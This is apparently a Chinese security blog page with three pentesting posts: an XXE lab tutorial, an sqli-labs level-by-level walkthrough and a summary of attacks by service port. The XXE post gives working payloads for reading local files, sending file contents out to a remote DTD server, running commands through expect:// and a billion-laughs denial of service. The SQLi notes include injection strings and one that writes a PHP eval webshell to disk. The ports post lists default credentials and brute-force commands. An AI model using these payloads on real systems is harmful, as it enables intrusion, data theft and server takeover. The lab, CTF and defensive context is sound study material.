分类 渗透测试 下的文章

XXE-lab靶场记录


php:

<?xml version="1.0"?><!DOCTYPE Aatrox [
<!ENTITY test SYSTEM  "
<user><username>&test;</username><password>Aatrox</password></user>

成功回显。



XXE(XML External Entity attack)XML外部实体注入攻击

导语

  XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。

  尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应有的关注度。很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响。 比如今年7月刚爆出的微信支付XXE漏洞案例。

  libxml2.9.1及以后,默认不解析外部实体。可以在此了解libxml各版本具体改动情况。本次测试在Window下使用的php5.4.45(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。当XML声明中standalone值是yes的时候表示DTD仅用于验证文档结构,外部实体将被禁用。但它的默认值是no,而且有些parser会直接忽略这一项。

XML外部实体

  本文主要讲外部实体注入攻击,所以基本的XML语法就不过多的描述。主要看一下DTD-实体

  首先让我们了解一下基本的PAYLOAD结构:
mark
  DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

实体分为一般实体和参数实体

  1. 一般实体的声明:<!ENTITY 实体名称 "实体内容">

   引用一般实体的方法:&实体名称;

  p.s.经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。

  2. 参数实体的声明:<!ENTITY % 实体名称 "实体内容">

   引用参数实体的方法:%实体名称;

  p.s.经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。

  如果实体名称中出现如<的特殊字符,解析就会失败。为了避免这种情况,XML用实体引用替换特殊字符。XML预定义了五个实体引用,即用<、 >、 &、 &apos、 "替换<>&'"

DTD实体声明(重点)

  1. 内部实体声明

  <!ENTITY 实体名称 "实体的值">

  当引用一般实体时,由三部分构成:&实体名,当是用参数传入xml的时候,&需URL编码,不然&会被认为是参数间的连接符号。

  示例:

    <?xml version = "1.0" encoding = "utf-8"?>    <!DOCTYPE test [
    <!ENTITY writer "Dawn">
    <!ENTITY copyright "Copyright W3School.com.cn">
    ]>    <test>&writer;©right;</test>

  2. 外部实体声明

  <!ENTITY 实体名称 SYSTEM "URI/URL">

  外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:
mark
  其中PHP支持的协议会更多一些,但是需要一定的扩展支持:
mark

  示例:

    <?xml version = "1.0" encoding = "utf-8"?>    <!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>    <author>&file;©right;</author>

XXE的攻击与危害

  当我们了解清楚以上的信息后,我们就能理解如何构造外部实体注入攻击与它的危害性了。

如何构造外部实体注入攻击

  一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

  有回显的payload写法:

  1. 直接通过DTD外部实体声明。XML内容如下:

            <?xml version="1.0"?>        <!DOCTYPE ANY [
                    <!ENTITY test SYSTEM "file:///etc/passwd">
            ]>        <abc>&test;</abc>
  2. 通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下:

            <?xml version="1.0"?>        <!DOCTYPE a SYSTEM "http://localhost/evil.dtd">        <abc>&b;</abc>

    evil.dtd内容:

            <!ENTITY b SYSTEM "file:///etc/passwd">
  3. 通过DTD外部实体声明引入外部实体声明。XML内容如下:

            <?xml version="1.0"?>        <!DOCTYPE a [
                    <!ENTITY % d SYSTEM "http://localhost/evil.dtd">
            %d;
            ]>        <abc>&b;</abc>

    evil.dtd内容:

            <!ENTITY b SYSTEM "file:///etc/passwd">

    但是如果想通过如下声明是不可以的:

            <?xml version="1.0"?>         <!DOCTYPE a [
            <!ENTITY d SYSTEM "http://localhost/evil.xml">
            ]>        <abc>&d;</abc>

    测试发现这种实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,参数实体就好用很多。

  无回显的payload写法:

  1. 第一种无回显示payload写法:

            <?xml version="1.0"?>         <!DOCTYPE a [
            <!ENTITY % file SYSTEM "file:///c://test/1.txt">
            <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> 
            %dtd; %all; 
            ]>         <abc>&send;</abc>

    其中evil.xml文件内容为

             <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">

    调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。

  2. 第二种无回显payload写法:

            <?xml version="1.0"?>        <!DOCTYPE a [
            <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
            <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
            %dtd;
            %send;
            ]>        <abc></abc>

    其中evil.xml文件内容为:

            <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

    调用过程和第一种方法类似,但最里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

  这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset。这里的        internal subset指的是中括号[]内部的一系列元素声明,PEReferences 指的应该是参数实体引用 Parameter-Entity Reference 。

  一般都使用第二种方法,因为当文件中含有中文字符或<字符,会导致不能解析。

XXE带来的危害

  利用xxe漏洞可以进行文件读取,拒绝服务攻击,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等。内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做。

  首先准备一个有XXE漏洞的文件,本次测试以php为主:

    <?php    $xml = simplexml_load_string($_REQUEST['xml']);
    echo "<pre>" ;
    print_r($xml);//注释掉该语句即为无回显的情况    ?>

危害1.读取任意文件

有回显情况:

    <?xml version="1.0"?>    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
    ]>    <abc>&test;</abc>

mark

无回显情况:

  本次测试用的phpStudy,需开启apache日志记录并重启服务。当无回显情况时,可以讲数据发送到远程服务器。

    <?xml version="1.0"?>    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
    %dtd;
    %send;
    ]>    <abc></abc>

远程服务器部署evil.xml内容为:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

mark

YWRtaW46OnBhc3N3b3JkIQ0KdGVzdDo6cGFzc3dkIQ==Base64解码即可。

  通过此方法可以读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件、获取帐号密码后进一步攻击。如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

危害2.拒绝服务攻击

    <?xml version="1.0"?>    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>    <lolz>&lol9;</lolz>

  此示例就是著名的Billion laughs attack该攻击是通过创建一项递归的 XML 定义,在内存中生成十亿个"Ha!"字符串,从而导致 DoS 攻击。

  原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

危害3.远程命令(代码)执行

    <?xml version="1.0"?>    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "expect://id">
    ]>    <abc>&test;</abc>

  此示例是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能有此漏洞。

危害4.内网信息探测

  利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果。

有回显情况:

    <?xml version="1.0"?>    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "http://127.0.0.1:87/tets.txt">
    ]>    <abc>&test;</abc>

  当端口开放时,如80端口:
mark

  当端口未开放时,如81端口:
mark

无回显情况:

    <?xml version="1.0"?>    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
    %dtd;
    %send;
    ]>    <abc></abc>

远程服务器部署evil.xml内容为:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

  观察日志文件即可。

  当端口开放时,如80端口:
mark

  当端口未开放时,如81端口:
mark

  有的无回显的情况还可以通过抓包看响应头返回的状态码,返回的报错信息等判断。

危害5.攻击内网网站

难得搭建环境,就直接引用网上的例子吧:

mark

这个示例是攻击内网strusts2网站,远程执行系统命令。

还可部署bash文件建立监听,获得反弹shellcode等。

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

CTF题目

  本人是个CTFer,所以再结合两道CTF题目,更加深入理解此攻击。

JarvisOJ——api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口:http://web.jarvisoj.com:9882/

先查看源码:
mark
再看响应:
mark
  开始以为是考反序列化,但根据提示和结果发现不是。这个页面仅仅是向后台发送请求,后台再响应返回几个特定的字符串,修改请求值,发现返回与前台的输入没多大关系。最后,知道是XXE。

  这道题目,默认的是json格式传递,因此首先我们更改Content-Type的值为application/xml,然后传入xml代码:

    <?xml version=”1.0″?>    <!DOCTYPE a[
    <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>    <abc>&xxe;</abc>

mark

DDCTF——喝杯Java冷静下

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/

提示:第二层关卡应用版本号为2.3.1

此题目有点难,由于技术不到位,有的地方不是很清楚就不误导读者了。

直接看看大佬的姿势吧:

DDCTF2018 WEB6 喝杯Java冷静下 WRITEUP —— LZ1Y

DDCTF 2018 Web Writeup —— 白帽100安全攻防实验室

真实案例

XXE自动化工具

  XXEinjector:一款功能强大的自动化XXE注射工具。

  本文就不具体演示、讲述此工具了。推荐一篇文章,详细的讲述了其使用方法,最后还附了XXEinjector工具的下载。

寻找XXE

检测xml是否被解析

  尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。

  • 单双引号 ' " :XML的属性值必须用引号包裹,而数据可能进入标签的属性值。

  • 尖括号< > :XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。

  • 注释符<!-- :XML使用<!-- This is a comment -->作注释。

  • & :& 用于引用实体。

  • CDATA 分隔符]]> :<![CDATA[foo]]>中的内容不被解析器解析,提前闭合引发异常。

检测是否支持外部实体解析

  尝试利用实体和DTD。

  • 引用外部DTD文件访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">(看响应时间)

  • 引用外部DTD文件访问外网 :<!DOCTYPE a SYSTEM "http://vps_ip" >

  • 引用内部实体 :<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>

  • 外部实体读本地文件 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>

  • 外部实体访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)

  • 外部实体访问外网 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>

  • 判断问题存在可以OOB提取数据。

XXE的防御

  • 使用开发语言提供的禁用外部实体的方法

  PHP

  libxml_disable_entity_loader(true);

  JAVA

          DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

          dbf.setExpandEntityReferences(false);

  Python

  from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 过滤用户提交的XML数据

  过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

参考资料

  1. http://www.freebuf.com/column/156863.html

  2. https://security.tencent.com/index.php/blog/msg/69

  3. https://xz.aliyun.com/t/2571#toc-10

  4. http://www.w3school.com.cn/dtd/



sqli-labs靶场记录


level 1 单引号注入  表现在单引号 然后and 1=1 and 1=2    搞定。

payload:?id=1'(单引号)


level 2 数值型注入  表现在id=1 与id=2-1相同 然后说明是数值型注入,然后需要查看有没有显示位置,所以需要制造一个不存在的ID值如8888 得到显示位为2,3,然后
database() -》  user() ->root@localhost等    搞定。

payload:?id=2-1   ==>  ?id=1


level 3 引号字符型注入  表现在'不正常 但是') 又正常。  搞定。

payload:?id=1')时  and 1=1 --+ 与and 1=2 --+差异回显。


level 4 引号字符型注入   "  |  ")    搞定。

payload:?id=1")时  and 1=1 --+ 与and 1=2 --+差异回显。


level 5,6    无报错显示位置  三种报错函数:   无报错位置 需要制造报错函数

http://127.0.0.1/sqli-labs/Less-5/?id=1444%27%20and%20(select%201%20from%20(select%20count(*),concat(((select%20concat(schema_name,%27;%27)%20from%20information_schema.schemata%20limit%200,1)),floor%20(rand(0)*2))x%20from%20information_schema.schemata%20group%20by%20x)a)%20--+   #爆数据库


and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+


龟速..,    0为起始位置,1为跨度

and updatexml(1,payload,1)

and extractvalue(1, payload)

LV 7往外写文件..  需要 知道一个绝对路径  导入:   已搞定

http://127.0.0.1/sqli-labs/Less-7/?id=122%27))%20union%20select%201,2,3%20into%20outfile%20%22E:\\hi.txt%22--+


   #先在数据库里show variables like '%secure%';查看是否NULL,为NULL要成功写入必须要先在mysql.ini里加入secure_file_priv=

  • secure_file_priv为null    表示不允许导入导出

  • secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

  • secure_file_priv没有设置时,则表示没有任何限制

Payload:?id=1')) union select 1,'2','<?php @eval($_POST["xx"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php' %23


导出:

Payload:id=(('1')) union select 1,load_file ('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php'),'3' #'))


lv8 布尔盲注  根据返回是否正确来判断。。 

http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20LENGTH(database())%20%3E=%207%20%23  #数据库长度   ->  判断  ascii ->得到库名security


LV9 -LV10跳过。单双引号 
LV11  post型注入:   单引号注入

1.a' or '1'='1
2.admin' -- 
3.a'or 1=1 #

LV12 双引号注入
admin ") or 1=1 --   双引号注入。
或admin ") or 1=1 #

LV13   单引号变形  #封闭()
admin')or '1'='1'#

LV14  双引号变形 #封闭()
admin" or "1"="1

LV15 LV16 布尔盲注先跳过。
LV17  基于xml参数更新注入,

可以在mysql里练习 select concat(0x5e24,(select @@port),0x5e24);


a’ and updatexml(1,concat(0x5e24,(select <span id="kM0.17083351063526164">@<span id="kM0.5735300782977382">@port)</span></span>,0x5e24),1)# 无效语句。。

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#submit=submit 他娘的还得在本机才成功。

LV18  日了你的仙人板板 一直不出现user-agent: 重装后好了。。
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '




端口总结(常用端口)


端口渗透总结
0x00 背景
在前段时间的渗透中,我发现通过端口来进行渗透有时会提升我们的效率,所以才有了这篇文章的诞生;

首先分享一份关于端口及他们对应的服务文件:https://yunpan.cn/cYyNXEpZNYvxQ  访问密码 983e

这里再分享一篇我曾经在百度文库提交的端口渗透文章:请点我

再次看这篇文章发现写的很简单,也只描述了几个常见的端口渗透;而且一般我们都是可以修 改默认端口的,所以平时在渗透过程中,对端口信息的收集就是一个很重要的过程;然后对症下药就可以更快的渗透进入我们需要的服务器;接下来就详细通过渗透 实战对端口的渗透进行更加深入的剖析;

端口渗透过程中我们需要关注几个问题:

1、  端口的banner信息

2、  端口上运行的服务

3、  常见应用的默认端口

当然对于上面这些信息的获取,我们有各式各样的方法,最为常见的应该就是nmap了吧!我们也可以结合其他的端口扫描工具,比如专门的3389、1433等等的端口扫描工具;

服务默认端口
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;

注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;

动态/私有:49152-65535,不为服务分配这些端口;

当然这些端口都可以通过修改来达到欺骗攻击者的目的,但是这就安全了吗?攻击者又可以使用什么攻击方式来攻击这些端口呢?

还需要注明的一点是:很多木马工具也有特定的端口,本文并没有涉及到这块的内容,大家可以自己去收集收集!

关于爆破之我见
在对这些端口进行实战讲解时,我需要先阐述一下我对爆破这个方式的一些看法;

爆破:技术最简单,需要的技术能力基本为0,工作效率与网络、硬件等相关,在我看来爆破其实是最强大的攻击方式,特别是结合一些特制的字典,结合社工我们可以在很短的时间达到最大的效果,只不过因为我们的pc或者字典不够强大,所以很多时候我们不能进行一次优秀的爆破攻击;当然现在很多web应用以及服务端口都限制了暴力破解;对于这种做了限制的我们可能就需要利用到本文提到的其他攻击了!

分享一个团队sai总结的字典:请点击

声明:本文总结的都是近两年的常见漏洞,以前的老版漏洞以及危害性不大的漏洞没有总结,望大家谅解!

0x01 实战测试
文件共享服务端口渗透
ftp服务
FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或Linux中的默认服务软件;第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;

默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)

攻击方式:

爆破:ftp的爆破工具有很多,这里我推荐owasp的Bruter 以及msf中ftp爆破模块;

匿名访问:用户名:anonymous  密码:为空或任意邮箱

用户名:FTP            密码:FTP或为空

用户名:USET         密码:pass

当然还有不需要用户名密码直接访问的,一般出现在局域网中;

0

嗅探:ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关)

01

后门技术:在linux的vsftp某一版本中,存在着一个后门程序,只要在用户名后面加上 就会在6200上打开一个监听Shell,我们可以使用telnet直接连接;详细请点击

远程溢出漏洞:6.10.1 IIS FTP远程溢出漏洞,在IIS FTP服务器中NLST命令存在一个缓冲区溢出漏洞,这个漏洞可能是攻击者在服务器运行一条非法命令。

跳转攻击:(Bounce Attacks)攻击者发送一个FTP”PORT”命令给目标FTP服务器,其中包含该主机的网络地址和被攻击的服务的端口号。这样,客户端就能命令FTP服务器发一个文件给被攻击的服务。这个文件可能包括根被攻击的服务有关的命令(如SMTP,NNTP等)。由于是命令第三方去连接到一种服务,而不是直接连接,就使得跟踪攻击者变得困难,并且还避开了基于网络地址的访问限制。(注:此种情况小白并没有遇到过,只是总结一下,欢迎大牛指教)

案例分享:

山东电信Serv-U Web客户端弱口令

长虹ftp弱口令导致全网数据泄漏

NFS服务
nfs:网络文件系统,允许网络中的计算机通过TCP/IP网络共享资源。基于Linux系统,配置方面很简单,详细配置请参考案例分享。在nfs配置中,有不做任何限制的,有限制用户,有限制IP,以及在版本2.x中我们还可以使用证书来验证用户。当然不同的限制可以采用的攻击方式也不一样;就目前而言网上关于nfs的攻击还是比较少的!

默认端口:2049

攻击方式:

未授权访问:未限制IP以及用户权限设置错误

案例分享:

Nfs配置不当导致被入侵

NFS服务全攻略

Samba服务
Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。在很多时候不光是pc机,还有一些服务器,网络设备都开放着此服务,方便进行文件共享,但是同时也给攻击者提供了便利。

默认端口:137(主要用户NetBIOS Name Service;NetBIOS名称服务)、139(NetBIOS Session Service,主要提供samba服务)

攻击方式:

爆破:弱口令(爆破工具采用hydra)hydra -l username -P
PassFile IP smb

未授权访问:给予public用户高权限

远程代码执行漏洞:CVE-2015-0240等等

案例分享:

Samba远程代码执行漏洞

未授权访问文件系统漏洞

LDAP协议
ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。

默认端口:389

攻击方式:

注入攻击:盲注

未授权访问:

爆破:弱口令

案例分享:

LDAP注入与防御剖析

欧朋LDAP服务匿名访问

使用LDAP查询快速提升域权限

远程连接服务端口渗透
SSH服务
SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;对于SSH服务我们可能使用爆破攻击方式较多。

默认端口:22

攻击方式

爆破:弱口令、

漏洞:28退格漏洞、OpenSSL漏洞

案例分享:

安宇创新科技ssh弱口令

宜信贷某站存在OpenSSL漏洞

Telnet服务
Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;比如cisco、华三,深信服等厂商的设备;我就有很多次通过telnet弱口令控制这些设备;

默认端口:23

攻击方式

爆破:弱口令

嗅探:此种情况一般发生在局域网;

案例分享:

大量惠普打印机远程telnet可被查看和操作

Windows远程连接
远程桌面连接:作为windows上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;这个时候我们一般的情况分为两种。一种是内网,需要先将目标机3389端口反弹到外网;另一种就是外网,我们可以直接访问;当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;

默认端口:3389

攻击方式:

爆破:3389端口爆破工具就有点多了

Shift粘滞键后门:5次shift后门

3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机;请参考

VNC服务
VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;也

默认端口:5900+桌面ID(5901;5902)

攻击方式:

爆破:弱口令

认证口令绕过:

拒绝服务攻击:(CVE-2015-5239)

权限提升:(CVE-2013-6886)

案例分享:

广西电信客服服务器使用VNC存在弱口令可直接控制

Pcanywhere服务
PyAnywhere服务:一款远控工具,有点类似vnc的功能;这个服务在以前很多黑客发的视频里面都有,利用pcanywhere来进行提权;

默认端口:5632

攻击方式:

提权控制服务:

拒绝服务攻击:

代码执行:请参考

案例分享:

黑龙江物价局多处安全漏洞可能导致服务器沦陷(pcAnywhere提权+密码突破)

Web应用服务端口渗透
HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;

注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;

IIS服务
默认端口:80/81/443

攻击方式:

IIS
PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上

短文件名泄漏:这种一般没啥影响

解析漏洞:详细见apache服务

案例分享:

徐州市教育系统大量IIS PUT漏洞

用友软件IIS写权限(PUT)导致可获取webshell控制服务器

国家电网某分站存在iis短文件名漏洞

Apache/Tomcat/Nginx/Axis2
默认端口:80/8080

攻击方式:

爆破:弱口令(爆破manager后台)

HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;

解析漏洞:请参考

案例分享:

安卓开发平台存在上传漏洞和Apache解析漏洞,成功获取webshell

腾讯分站 Apache 漏洞

WebLogic
默认端口:7001

攻击方式:

爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123) portaladmin guest

Congsole后台部署webshell:

Java反序列化:

泄漏源代码/列目录:这个太老了,估计网上都没有了吧!

SSRF窥探内网:央视网SSRF可窥探内网

案列分享:

福建省人力资源和社会保障厅下属某WEBLOGIC弱口令

利用Weblogic进行入侵的一些总结

Jboss
默认端口8080;其他端口1098/1099/4444/4445/8080/8009/8083/8093

攻击方式:

爆破:弱口令(爆破jboss系统后台)

远程代码执行:由于配置不当造成

Java反序列化:

案例分享

中华人民共和国民政部JBoss配置不当

JBOSS安全问题总结

中国科学院某处jboss应用漏洞

Websphere
默认端口:908*;第一个应用就是9080,第二个就是9081;控制台9090

攻击方式:

爆破:弱口令(控制台)

任意文件泄漏:(CVE-2014-0823)

Java反序列化

案例分享:

中国电信某通用型业务系统(Websphere)GetShell漏洞

大汉网络有限公司远程命令执行漏洞(WebSphere案例)

GlassFish
默认端口:http 8080;IIOP 3700;控制台4848

攻击方式:

爆破:弱口令(对于控制台)

任意文件读取:

认证绕过:

案例分享:

应用服务器glassfish存在通用任意文件读取漏洞

Oracle GlassFish Server认证绕过

Jenkins
默认端口:8080、8089

攻击方式:

爆破:弱口令(默认管理员)

未授权访问:

反序列化:

案例分享:

酷6Jenkins系统未授权访问可执行系统命令

Resin
默认端口:8080

攻击方式:

目录遍历

远程文件读取

案例分享:

爱奇艺Resin配置漏洞

Resin漏洞利用案例之目录遍历/以金蝶某系统为例

Jetty
默认端口:8080

攻击方式:

远程共享缓冲区溢出

Lotus
影响的都是一些大型的企业,特别需要注意,经过以前的测试发现弱口令这个问题经常都存在,可能是很多管理员不知道如何去修改(不要打我)。

默认端口:1352

攻击方式:

爆破:弱口令(admin password)控制台

信息泄露

跨站脚本攻击

案例分享:

Lotus Domino WebMail一处越权访问

中电投集团某系统弱口令直达内网涉及/OA系统/内部邮箱/财务系统/人力资源系统

中国某大型金融机构地方业务弱口令导致数万商户信息泄露&访问Lotus Domino后台

数据库服务端口渗透
针对所有的数据库攻击方式都存在SQL注入,这里先提出来在下面就不一一写了免得大家说我占篇幅;当然不同的数据库注入技巧可能不一样,特别是NoSQL与传统的SQL数据库不太一样。但是这不是本文需要介绍的重点,后面有时间会写一篇不同数据库的渗透技巧。

MySQL数据库
默认端口:3306

攻击方式:

爆破:弱口令

身份认证漏洞:CVE-2012-2122

拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器

Phpmyadmin万能密码绕过:用户名:‘localhost’@’@”  密码任意

案例分享:

漏洞分享

和讯网某站点存在mysql注入漏洞

MySQL提权总结

MSSQL数据库
默认端口:1433(Server 数据库服务)、1434(Monitor 数据库监控)

攻击方式:

爆破:弱口令/使用系统用户

案例分享:

MSSQL注射总结

上海安脉综合管理系统mssql注射漏洞

解密MSSQL连接数据库密码

从攻击MSSQL到提权: 使用msf针对mssql的一次完整渗透

Oracle数据库
默认端口:1521(数据库端口)、1158(Oracle EMCTL端口)、8080(Oracle XDB数据库)、210(Oracle XDB FTP服务)

攻击方式:

爆破:弱口令

注入攻击;

漏洞攻击;

案例分享:

Oracle盲注结合XXE漏洞远程获取数据

PostgreSQL数据库
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括我们kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术  大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。

默认端口:5432

攻击方式:

爆破:弱口令:postgres postgres

缓冲区溢出:CVE-2014-2669

案例分享:

Hacking postgresql

关于postgresql的那些事

MongoDB数据库
MongoDB:NoSQL数据库;攻击方法与其他数据库类似;关于它的安全讲解:请参考

默认端口:27017

攻击方式:

爆破:弱口令

未授权访问;github有攻击代码;请点击

案例分享:

MongoDB phpMoAdmin远程代码执行

搜狐MongoDB未授权访问

新浪微米未授权访问

解决MongoDB各种隐患问题

Redis数据库
redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。Exp:https://yunpan.cn/cYjzHxawFpyVt  访问密码 e547

默认端口:6379

攻击方式:

爆破:弱口令

未授权访问+配合ssh key提权;

案例分享:

中国铁建网redis+ssh-keygen免认证登录

SysBase数据库
默认端口:服务端口5000;监听端口4100;备份端口:4200

攻击方式:

爆破:弱口令

命令注入:

案例分享:

广西自考信息系统Sybase数据库注入

Sybase EAServer命令注入漏洞

DB2数据库
默认端口:5000

攻击方式:

安全限制绕过:成功后可执行未授权操作(CVE-2015-1922)

案例分享:

哈尔滨银行主站DB2注入

总结一下:对于数据库,我们得知端口很多时候可以帮助我们去渗透,比如得知mysql的 数据库,我们就可以使用SQL注入进行mof、udf等方式提权;如果是mssql我们就可以使用xp_cmdshell来进行提权;如果是其它的数据 库,我们也可以采用对应的方式;比如各大数据库对应它们的默认口令,版本对应的漏洞!

顺便提一下:很多时候银行企业采用的都是oracle、db2等大型数据库;

邮件服务端口渗透
SMTP协议
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件!

默认端口:25(smtp)、465(smtps)

攻击方式:

爆破:弱口令

未授权访问

案例分享:

腾讯邮箱smtp注册时间限制绕过漏洞

邮件伪造详解

qq邮箱伪造发件地址,容易被钓鱼利用

众多厂商邮件系统配置不当可伪造邮件人

POP3协议
